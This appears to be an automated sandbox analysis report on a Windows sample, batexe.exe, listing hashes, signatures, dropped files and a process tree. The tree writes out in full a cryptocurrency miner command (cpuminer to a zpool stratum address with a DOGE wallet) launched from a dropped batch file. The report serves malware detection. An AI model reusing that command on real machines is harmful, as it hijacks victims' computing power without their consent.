73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 05:16

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3844	b2e.exe
4952	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2600-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2600 wrote to memory of 3844	2600	batexe.exe	75
PID 2600 wrote to memory of 3844	2600	batexe.exe	75
PID 2600 wrote to memory of 3844	2600	batexe.exe	75
PID 3844 wrote to memory of 968	3844	b2e.exe	76
PID 3844 wrote to memory of 968	3844	b2e.exe	76
PID 3844 wrote to memory of 968	3844	b2e.exe	76
PID 968 wrote to memory of 4952	968	cmd.exe	79
PID 968 wrote to memory of 4952	968	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9E53.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe

Filesize
5.5MB

MD5
863b77a46aa73e91710e78c9b62272f4

SHA1
0a4399c6c71dd3baba3470b81f3e23160598fd38

SHA256
4f46692559ec276c08d774ce4f7170e14a4687af79a3af593331b294268b02e3

SHA512
06365bd9f3c6ebd4a175e5f69440a4b15f3a68ffb3891e496c2873f70e0be1b55b40df19b802ca615113291116c66a6e58cd352772887a78fcf61cc81b1d9f33

Download Submit
C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe

Filesize
5.6MB

MD5
975ab8e01aee09becf5fd4e7985323ab

SHA1
ed1d6dbf2e325e8d43245d362ada8f1c8a3a4c84

SHA256
2e248dce9523692affeb5bea17c4b5430cbd8471974f9cfafa17b3401ac75e7f

SHA512
67b23e669d09a3bf4b909f9107fef0dd6a0cadd4a503f2c9e4b3c5392eb1f9aa9c5c915d7e49f8bc4fe9613c87d412c5067e7c91d653b87ec7c6c41fffa21d6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\9E53.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.7MB

MD5
e4c1f8c8c9a1767efa01ce7bdbebd55e

SHA1
49dea8c5d18e10d6b2c428e97e8a2b391ceae01b

SHA256
6b35b630238c7ffb34f1a2fc877dadce33df62b39a6424e2ab9ac3146044bd43

SHA512
46768f1f96a95d8665251e600db9a96a9b41ed1eede4f8a59e79261e49360413ef2dc6c841f67ed45aa7e6d100a86b4924c3ab94bb9d51ea0a962c5bdb38cbb2

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
f7257c088116005ede9e0822a0fe3c5f

SHA1
4acc205a26946b1de82c289a3a36fc440ed56e24

SHA256
ccebe07ac043996f506de2ecdc23014b50fb26423b697170ff14ae8eb132bede

SHA512
90029d1789223cdbf4581c5d4629b15947669f128c1f334ed673cbb8b2f6ae072c33f1a17c05e62bfed8f8e439af89fa7a30a646ad78a8b3ed9c564f4de722dc

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
0f842e5a8d4d538c8dd3bb43dbaa92fd

SHA1
587951921660a1bdd05f073ddcd2d3f998b10e9e

SHA256
f2223e9f9d60fc6e5c7f55b8606dea0ad07d5486332b692d8d2a96050055a928

SHA512
bc74e2990addcbbcf5944bf6e23d931c8878c1817ead51f93d6e50dad81b37bdb57277e2bcff02ae8638cc16f5bdc8c5b7f9be8ce63564e025b82e7718dfad4f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2600-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3844-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3844-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4952-42-0x0000000052760000-0x00000000527F8000-memory.dmp

Filesize
608KB

Download
memory/4952-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4952-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4952-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4952-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download